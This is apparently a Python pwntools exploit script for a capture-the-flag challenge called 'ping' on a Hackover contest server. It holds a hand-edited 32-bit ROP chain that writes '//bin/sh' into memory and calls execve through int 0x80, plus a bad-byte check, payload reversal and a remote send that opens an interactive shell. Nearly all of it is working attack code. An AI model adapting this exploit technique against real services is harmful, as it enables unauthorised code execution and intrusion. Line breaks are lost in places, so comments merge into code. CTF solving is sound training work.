from pwn import *
# the binary reverses our payload and checks for a number of bad bytes# generated a ropchain and modified it to work
def ropchain():	# modified ropchain generated with ropper	# ropper's badbytes option didnt work correctly...
	from struct import pack
	p = lambda x : pack('I', x)
	IMAGE_BASE_0 = 0x08048000 # ping	rebase_0 = lambda x : p(x + IMAGE_BASE_0)
	rop = ''
	# the pop eax instruction is bad, so replaced it with pop ecx; mov eax, ecx; pop; pop; ret	rop += p32(0x080e05f5) # pop ecx ; ret	rop += '//bi'	rop += p32(0x0806cfe5) # mov eax, ecx ; pop esi; pop edi ; ret	rop += p32(0xdeadbeef)*2
	rop += rebase_0(0x00027e6a) # pop edx; ret; 	rop += rebase_0(0x000a4004)	rop += rebase_0(0x0000d96b) # mov dword ptr [edx], eax; ret; 
	rop += p32(0x080e05f5) # pop ecx ; ret	rop += 'n/sh'	rop += p32(0x0806cfe5) # mov eax, ecx ; pop esi; pop edi; ret	rop += p32(0xdeadbeef)*2
	rop += rebase_0(0x00027e6a) # pop edx; ret; 	rop += rebase_0(0x000a4008)	rop += rebase_0(0x0000d96b) # mov dword ptr [edx], eax; ret; 	rop += rebase_0(0x00001573) # xor eax, eax; ret; 	rop += rebase_0(0x00027e6a) # pop edx; ret; 	rop += rebase_0(0x000a4010)	rop += p32(0x080e13fe)*4 # decrease edx to 0c again	rop += rebase_0(0x0000d96b) # mov dword ptr [edx], eax; ret; 	rop += rebase_0(0x0000783c) # pop ebx; ret; 	rop += rebase_0(0x000a4004)	rop += rebase_0(0x000985f5) # pop ecx; ret; 	rop += rebase_0(0x000a4010)	rop += p32(0x080e215d)*4 # decrease ecx to 0c again	rop += rebase_0(0x00027e6a) # pop edx; ret; 	rop += rebase_0(0x000a4010)	rop += p32(0x080e13fe)*4 # decrease edx to 0c again	rop += rebase_0(0x00001573) # xor eax, eax; ret; 	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x00015633) # inc eax; pop edi; ret; 	rop += p(0xdeadbeef)	rop += rebase_0(0x000259c5) # cd80; 	return rop
#r = process("./ping", shell=True)r = remote("challenges.hackover.h4q.it", 1337)
rop = ropchain()revchain = rop.ljust(446, "A")[::-1]
"""(gdb) x/8x 0x080bcec80x80bcec8:	0xba	0xc4	0x07	0x1c	0xd1	0xac	0x83	0x03
badbytes = bac4071cd1ac830300badbytes += 0a0d200b0c09 (isspace bytes for scanf)"""
# check for badbytesassert not any(c in unhex("bac4071cd1ac8303000a0d200b0c09") for c in revchain)
r.sendline(revchain + "A"*24 + p32(0x1337CAFE)[::-1] + "C"*1000)
r.interactive()